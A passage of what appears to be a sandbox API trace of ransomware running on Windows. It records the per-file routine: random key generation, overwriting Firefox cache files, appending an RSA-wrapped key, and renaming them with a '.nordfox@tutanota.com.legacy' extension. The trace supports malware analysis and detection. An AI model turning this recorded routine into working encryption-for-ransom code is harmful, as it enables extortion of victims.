"c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1c069501161f85f05dfe519adecb1bafd807156f.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.070] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d7ed0 | out: pbBuffer=0x30d7ed0) returned 1 [0192.070] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0192.070] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E", dwFileAttributes=0x80) returned 1 [0192.070] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d8a28 [0192.070] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.071] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1bcad7dc01c28c00520186316b38e1165adc4d1e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.071] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=14745) returned 1 [0192.071] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3999) returned 0x30d9040 [0192.071] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3999) returned 0x30dc9e8 [0192.071] ReadFile (in: hFile=0x1b80, lpBuffer=0x30d9040, nNumberOfBytesToRead=0x3999, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9040*, lpNumberOfBytesRead=0x2e1f9bc*=0x3999, lpOverlapped=0x0) returned 1 [0192.083] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-14745, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.083] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dc9e8*, nNumberOfBytesToWrite=0x3999, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dc9e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3999, lpOverlapped=0x0) returned 1 [0192.083] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3999 [0192.084] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.084] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d7ed0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d7ed0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.084] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d7ed0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7ed0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.084] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.084] CloseHandle (hObject=0x1b80) returned 1 [0192.084] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1bcad7dc01c28c00520186316b38e1165adc4d1e"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1BCAD7DC01C28C00520186316B38E1165ADC4D1E.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1bcad7dc01c28c00520186316b38e1165adc4d1e.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.086] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d7bb8 | out: pbBuffer=0x30d7bb8) returned 1 [0192.086] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.086] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD", dwFileAttributes=0x80) returned 1 [0192.087] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d8e48 [0192.087] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.087] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1b7a333ddbb97841f5b4a5deecf36cf10e3361dd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.087] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1236) returned 1 [0192.087] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4d4) returned 0x619c48 [0192.087] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4d4) returned 0x30f5890 [0192.087] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d4, lpOverlapped=0x0) returned 1 [0192.094] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1236, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.095] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f5890*, nNumberOfBytesToWrite=0x4d4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d4, lpOverlapped=0x0) returned 1 [0192.095] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d4 [0192.095] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.095] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d7bb8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d7bb8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.095] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d7bb8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7bb8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.096] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.096] CloseHandle (hObject=0x1b80) returned 1 [0192.096] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1b7a333ddbb97841f5b4a5deecf36cf10e3361dd"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B7A333DDBB97841F5B4A5DEECF36CF10E3361DD.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1b7a333ddbb97841f5b4a5deecf36cf10e3361dd.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.098] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d8c38 | out: pbBuffer=0x30d8c38) returned 1 [0192.098] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.098] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B5F6673E35017BD0F3AFD7E5FAA954323582ACC", dwFileAttributes=0x80) returned 1 [0192.099] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d78a0 [0192.099] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.099] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B5F6673E35017BD0F3AFD7E5FAA954323582ACC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1b5f6673e35017bd0f3afd7e5faa954323582acc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.099] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3885) returned 1 [0192.099] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf2d) returned 0x30f5890 [0192.099] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf2d) returned 0x30d9040 [0192.100] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0xf2d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0xf2d, lpOverlapped=0x0) returned 1 [0192.107] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3885, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.107] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d9040*, nNumberOfBytesToWrite=0xf2d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9040*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf2d, lpOverlapped=0x0) returned 1 [0192.108] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf2d [0192.108] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.108] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d8c38*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d8c38*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.108] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d8c38*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8c38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.108] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.108] CloseHandle (hObject=0x1b80) returned 1 [0192.108] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B5F6673E35017BD0F3AFD7E5FAA954323582ACC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1b5f6673e35017bd0f3afd7e5faa954323582acc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1B5F6673E35017BD0F3AFD7E5FAA954323582ACC.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1b5f6673e35017bd0f3afd7e5faa954323582acc.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.110] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d7cc0 | out: pbBuffer=0x30d7cc0) returned 1 [0192.110] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.111] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1A7C641FFE043BB811768257AF97546A0C7F3B55", dwFileAttributes=0x80) returned 1 [0192.111] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d7588 [0192.111] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.111] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1A7C641FFE043BB811768257AF97546A0C7F3B55" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1a7c641ffe043bb811768257af97546a0c7f3b55"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.111] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3585) returned 1 [0192.111] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe01) returned 0x30f5890 [0192.111] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe01) returned 0x30d9040 [0192.111] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0xe01, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0xe01, lpOverlapped=0x0) returned 1 [0192.121] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3585, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.122] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d9040*, nNumberOfBytesToWrite=0xe01, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9040*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe01, lpOverlapped=0x0) returned 1 [0192.122] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe01 [0192.122] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.122] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d7cc0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d7cc0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.122] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d7cc0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7cc0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.122] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.122] CloseHandle (hObject=0x1b80) returned 1 [0192.122] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1A7C641FFE043BB811768257AF97546A0C7F3B55" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1a7c641ffe043bb811768257af97546a0c7f3b55"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1A7C641FFE043BB811768257AF97546A0C7F3B55.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1a7c641ffe043bb811768257af97546a0c7f3b55.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.124] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d8500 | out: pbBuffer=0x30d8500) returned 1 [0192.124] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0192.124] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\196BCA845E91608F7B4CA6127A60D20AF55413AC", dwFileAttributes=0x80) returned 1 [0192.125] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d7690 [0192.125] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.125] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\196BCA845E91608F7B4CA6127A60D20AF55413AC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\196bca845e91608f7b4ca6127a60d20af55413ac"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.125] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4071) returned 1 [0192.125] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfe7) returned 0x30f5890 [0192.125] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfe7) returned 0x30d9040 [0192.125] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0xfe7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0xfe7, lpOverlapped=0x0) returned 1 [0192.126] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4071, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.127] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d9040*, nNumberOfBytesToWrite=0xfe7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9040*, lpNumberOfBytesWritten=0x2e1f9bc*=0xfe7, lpOverlapped=0x0) returned 1 [0192.127] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xfe7 [0192.127] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.127] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d8500*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d8500*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.127] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d8500*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8500*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.127] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.127] CloseHandle (hObject=0x1b80) returned 1 [0192.127] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\196BCA845E91608F7B4CA6127A60D20AF55413AC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\196bca845e91608f7b4ca6127a60d20af55413ac"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\196BCA845E91608F7B4CA6127A60D20AF55413AC.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\196bca845e91608f7b4ca6127a60d20af55413ac.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.131] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30f4e58 | out: pbBuffer=0x30f4e58) returned 1 [0192.131] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.131] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1948A617BE08C70F70E0A406F640FD839A720820", dwFileAttributes=0x80) returned 1 [0192.131] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30f5488 [0192.131] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.131] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1948A617BE08C70F70E0A406F640FD839A720820" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1948a617be08c70f70e0a406f640fd839a720820"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.131] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1322) returned 1 [0192.131] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x52a) returned 0x619c48 [0192.131] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x52a) returned 0x30f5890 [0192.132] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x52a, lpOverlapped=0x0) returned 1 [0192.144] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.144] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f5890*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesWritten=0x2e1f9bc*=0x52a, lpOverlapped=0x0) returned 1 [0192.144] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x52a [0192.144] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.145] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30f4e58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30f4e58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.145] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4e58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4e58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.145] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.145] CloseHandle (hObject=0x1b80) returned 1 [0192.145] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1948A617BE08C70F70E0A406F640FD839A720820" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1948a617be08c70f70e0a406f640fd839a720820"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1948A617BE08C70F70E0A406F640FD839A720820.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1948a617be08c70f70e0a406f640fd839a720820.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.147] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30f5380 | out: pbBuffer=0x30f5380) returned 1 